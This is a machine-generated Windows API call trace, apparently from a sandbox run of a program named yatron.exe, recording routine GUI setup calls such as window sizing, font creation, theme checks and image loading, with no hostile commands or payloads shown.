[0084.600] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yatron.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x2e58f0 | out: lpFileInformation=0x2e58f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0084.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2e57d0) returned 1
[0084.837] _CxxThrowException ()
[0084.905] GetSystemMetrics (nIndex=5) returned 1
[0084.905] GetSystemMetrics (nIndex=6) returned 1
[0084.905] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.906] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0084.907] GetSystemMetrics (nIndex=5) returned 1
[0084.907] GetSystemMetrics (nIndex=6) returned 1
[0084.907] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.907] AdjustWindowRectEx (in: lpRect=0x2e5a68, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a68) returned 1
[0084.907] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.907] AdjustWindowRectEx (in: lpRect=0x2e5a68, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a68) returned 1
[0084.907] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.907] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0084.912] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.912] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0084.912] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.912] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0084.917] IsAppThemed () returned 0x1
[0084.917] GetThemeAppProperties () returned 0x3
[0084.917] GetThemeAppProperties () returned 0x3
[0084.956] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0084.956] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25cf948) returned 0x0
[0084.957] GdipGetFontSize (font=0x1c50d760, size=0x25cf950) returned 0x0
[0084.957] GetDC (hWnd=0x0) returned 0x90109d4
[0084.957] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5b48) returned 0x0
[0084.957] GdipGetFontHeight (font=0x1c50d760, graphics=0x1c5aef60, height=0x2e5b44) returned 0x0
[0084.957] GdipDeleteGraphics (graphics=0x1c5aef60) returned 0x0
[0084.957] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.957] GetDC (hWnd=0x0) returned 0x90109d4
[0084.957] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5a18) returned 0x0
[0084.957] GdipGetFontHeight (font=0x1c50d760, graphics=0x1c5aef60, height=0x2e5a14) returned 0x0
[0084.957] GdipDeleteGraphics (graphics=0x1c5aef60) returned 0x0
[0084.957] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.957] GetSystemMetrics (nIndex=5) returned 1
[0084.957] GetSystemMetrics (nIndex=6) returned 1
[0084.957] GetSystemMetrics (nIndex=5) returned 1
[0084.957] GetSystemMetrics (nIndex=6) returned 1
[0084.958] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.958] AdjustWindowRectEx (in: lpRect=0x2e5a68, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a68) returned 1
[0084.958] GetSystemMetrics (nIndex=5) returned 1
[0084.958] GetSystemMetrics (nIndex=6) returned 1
[0084.958] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.958] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0084.958] GetSystemMetrics (nIndex=5) returned 1
[0084.958] GetSystemMetrics (nIndex=6) returned 1
[0084.958] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.958] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0084.960] IsAppThemed () returned 0x1
[0084.960] GetThemeAppProperties () returned 0x3
[0084.961] GetThemeAppProperties () returned 0x3
[0084.961] GetSystemMetrics (nIndex=5) returned 1
[0084.961] GetSystemMetrics (nIndex=6) returned 1
[0084.961] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.961] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0084.961] GetSystemMetrics (nIndex=5) returned 1
[0084.961] GetSystemMetrics (nIndex=6) returned 1
[0084.961] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.961] AdjustWindowRectEx (in: lpRect=0x2e5a68, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a68) returned 1
[0084.961] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.961] AdjustWindowRectEx (in: lpRect=0x2e5a68, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a68) returned 1
[0084.962] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.962] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0084.965] IsAppThemed () returned 0x1
[0084.965] GetThemeAppProperties () returned 0x3
[0084.965] GetThemeAppProperties () returned 0x3
[0084.990] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0084.991] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d16a8) returned 0x0
[0084.991] GdipGetFontSize (font=0x1c50d7a0, size=0x25d16b0) returned 0x0
[0084.991] GetDC (hWnd=0x0) returned 0x90109d4
[0084.991] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5b48) returned 0x0
[0084.991] GdipGetFontHeight (font=0x1c50d7a0, graphics=0x1c5aef60, height=0x2e5b44) returned 0x0
[0084.991] GdipDeleteGraphics (graphics=0x1c5aef60) returned 0x0
[0084.991] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.991] GetDC (hWnd=0x0) returned 0x90109d4
[0084.991] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5a18) returned 0x0
[0084.991] GdipGetFontHeight (font=0x1c50d7a0, graphics=0x1c5aef60, height=0x2e5a14) returned 0x0
[0084.991] GdipDeleteGraphics (graphics=0x1c5aef60) returned 0x0
[0084.992] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.992] GetSystemMetrics (nIndex=5) returned 1
[0084.992] GetSystemMetrics (nIndex=6) returned 1
[0084.992] GetSystemMetrics (nIndex=5) returned 1
[0084.992] GetSystemMetrics (nIndex=6) returned 1
[0084.992] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.992] AdjustWindowRectEx (in: lpRect=0x2e5a68, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a68) returned 1
[0084.992] GetSystemMetrics (nIndex=5) returned 1
[0084.992] GetSystemMetrics (nIndex=6) returned 1
[0084.992] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.992] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0084.992] GetSystemMetrics (nIndex=5) returned 1
[0084.992] GetSystemMetrics (nIndex=6) returned 1
[0084.992] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.992] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0084.994] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0084.995] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d1cb0) returned 0x0
[0084.995] GdipGetFontSize (font=0x1c50d7e0, size=0x25d1cb8) returned 0x0
[0084.996] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0084.997] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.997] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.000] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.000] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d21d8) returned 0x0
[0085.001] GdipGetFontSize (font=0x1c51c310, size=0x25d21e0) returned 0x0
[0085.001] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.001] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.001] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.001] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.004] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.004] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d26f0) returned 0x0
[0085.004] GdipGetFontSize (font=0x1c51c350, size=0x25d26f8) returned 0x0
[0085.005] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.005] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.005] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.005] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.008] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.009] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d2c00) returned 0x0
[0085.009] GdipGetFontSize (font=0x1c5aef90, size=0x25d2c08) returned 0x0
[0085.009] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.009] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.009] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.009] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.013] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.013] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d30d0) returned 0x0
[0085.013] GdipGetFontSize (font=0x1c5aefd0, size=0x25d30d8) returned 0x0
[0085.013] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.013] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.014] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.014] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.019] GetCurrentThreadId () returned 0x2c4
[0085.019] GetCurrentThreadId () returned 0x2c4
[0085.024] GetCurrentThreadId () returned 0x2c4
[0085.024] GetCurrentThreadId () returned 0x2c4
[0085.025] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.025] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d3850) returned 0x0
[0085.025] GdipGetFontSize (font=0x1c5af010, size=0x25d3858) returned 0x0
[0085.032] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.032] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0085.032] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.032] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0085.035] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.036] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d3eb0) returned 0x0
[0085.036] GdipGetFontSize (font=0x1c5af050, size=0x25d3eb8) returned 0x0
[0085.037] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.057] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56012f00, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.058] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.058] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56012f00, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.062] GetCurrentThreadId () returned 0x2c4
[0085.062] GetCurrentThreadId () returned 0x2c4
[0085.062] GetCurrentThreadId () returned 0x2c4
[0085.062] GetCurrentThreadId () returned 0x2c4
[0085.123] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.124] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d5130) returned 0x0
[0085.124] GdipGetFontSize (font=0x1c5af090, size=0x25d5138) returned 0x0
[0085.124] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.124] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0085.124] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.124] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0085.125] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.125] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d5730) returned 0x0
[0085.125] GdipGetFontSize (font=0x1c5af0d0, size=0x25d5738) returned 0x0
[0085.126] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.126] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56012f00, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.126] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.126] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56012f00, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.128] GetCurrentThreadId () returned 0x2c4
[0085.128] GetCurrentThreadId () returned 0x2c4
[0085.128] GetCurrentThreadId () returned 0x2c4
[0085.128] GetCurrentThreadId () returned 0x2c4
[0085.128] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.129] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d5e50) returned 0x0
[0085.129] GdipGetFontSize (font=0x1c5af110, size=0x25d5e58) returned 0x0
[0085.129] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.129] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0085.130] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.130] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0085.130] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.131] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d63a8) returned 0x0
[0085.131] GdipGetFontSize (font=0x1c5af150, size=0x25d63b0) returned 0x0
[0085.131] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.131] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56012f00, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.132] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.132] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56012f00, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.132] GetCurrentThreadId () returned 0x2c4
[0085.132] GetCurrentThreadId () returned 0x2c4
[0085.135] GetCurrentThreadId () returned 0x2c4
[0085.135] GetCurrentThreadId () returned 0x2c4
[0085.136] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.136] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25d6b00) returned 0x0
[0085.136] GdipGetFontSize (font=0x1c5af190, size=0x25d6b08) returned 0x0
[0085.138] GetDC (hWnd=0x0) returned 0x90109d4
[0085.139] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e58f8) returned 0x0
[0085.139] GdipGetFontHeight (font=0x1c5af190, graphics=0x1c5a4c00, height=0x2e58f4) returned 0x0
[0085.139] GdipDeleteGraphics (graphics=0x1c5a4c00) returned 0x0
[0085.139] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0085.139] GetSystemMetrics (nIndex=5) returned 1
[0085.139] GetSystemMetrics (nIndex=6) returned 1
[0085.139] GetSystemMetrics (nIndex=5) returned 1
[0085.139] GetSystemMetrics (nIndex=6) returned 1
[0085.139] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.139] AdjustWindowRectEx (in: lpRect=0x2e59a8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e59a8) returned 1
[0085.140] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.140] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0085.140] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.140] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0085.206] GdipLoadImageFromStream (stream=0x480020, image=0x2e51e0) returned 0x0
[0085.857] GdipImageForceValidation (image=0x1c5a4c00) returned 0x0
[0085.859] GdipGetImageType (image=0x1c5a4c00, type=0x2e51d8) returned 0x0
[0085.860] GdipGetImageRawFormat (image=0x1c5a4c00, format=0x2e50e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
[0085.865] GdipImageGetFrameDimensionsCount (image=0x1c5a4c00, count=0x2e5ab0) returned 0x0
[0085.865] GdipImageGetFrameDimensionsList (image=0x1c5a4c00, dimensionIDs=0x1ac0ed80*(Data1=0x73590046, Data2=0x0, Data3=0x1207, Data4=([0]=0x49, [1]=0x44, [2]=0x41, [3]=0x54, [4]=0x1, [5]=0x95, [6]=0xbc, [7]=0x72)), count=0x1) returned 0x0
[0085.868] LocalFree (hMem=0x1ac0ed80) returned 0x0
[0085.874] OleInitialize (pvReserved=0x0) returned 0x0
[0085.875] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.875] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.875] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.876] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0085.877] IsAppThemed () returned 0x1
[0085.877] GetThemeAppProperties () returned 0x3
[0085.877] GetThemeAppProperties () returned 0x3
[0085.878] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.878] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25fab38) returned 0x0
[0085.878] GdipGetFontSize (font=0x1c5af1d0, size=0x25fab40) returned 0x0
[0085.878] GetDC (hWnd=0x0) returned 0x90109d4
[0085.878] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5b48) returned 0x0
[0085.878] GdipGetFontHeight (font=0x1c5af1d0, graphics=0x1c5a6cd0, height=0x2e5b44) returned 0x0
[0085.878] GdipDeleteGraphics (graphics=0x1c5a6cd0) returned 0x0
[0085.878] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0085.878] GetDC (hWnd=0x0) returned 0x90109d4
[0085.878] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5a18) returned 0x0
[0085.879] GdipGetFontHeight (font=0x1c5af1d0, graphics=0x1c5a6cd0, height=0x2e5a14) returned 0x0
[0085.879] GdipDeleteGraphics (graphics=0x1c5a6cd0) returned 0x0
[0085.879] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0085.879] GetSystemMetrics (nIndex=5) returned 1
[0085.879] GetSystemMetrics (nIndex=6) returned 1
[0085.879] GetSystemMetrics (nIndex=5) returned 1
[0085.879] GetSystemMetrics (nIndex=6) returned 1
[0085.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.879] AdjustWindowRectEx (in: lpRect=0x2e5a68, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a68) returned 1
[0085.879] GetSystemMetrics (nIndex=5) returned 1
[0085.879] GetSystemMetrics (nIndex=6) returned 1
[0085.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.879] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0085.880] GetSystemMetrics (nIndex=5) returned 1
[0085.880] GetSystemMetrics (nIndex=6) returned 1
[0085.881] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.881] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0085.885] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.885] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25fb2e0) returned 0x0
[0085.886] GdipGetFontSize (font=0x1c5af210, size=0x25fb2e8) returned 0x0
[0085.886] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.886] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.886] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.886] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.891] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.891] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25fb8a8) returned 0x0
[0085.891] GdipGetFontSize (font=0x1c5af250, size=0x25fb8b0) returned 0x0
[0085.891] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.891] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.892] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.892] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.896] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.896] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25fbe70) returned 0x0
[0085.896] GdipGetFontSize (font=0x1c5af290, size=0x25fbe78) returned 0x0
[0085.897] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.897] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.897] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.897] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.899] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.900] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25fc438) returned 0x0
[0085.900] GdipGetFontSize (font=0x1c5af2d0, size=0x25fc440) returned 0x0
[0085.900] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.900] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.900] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.900] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.903] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.903] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25fca00) returned 0x0
[0085.903] GdipGetFontSize (font=0x1c5af310, size=0x25fca08) returned 0x0
[0085.904] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.904] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.904] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.904] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
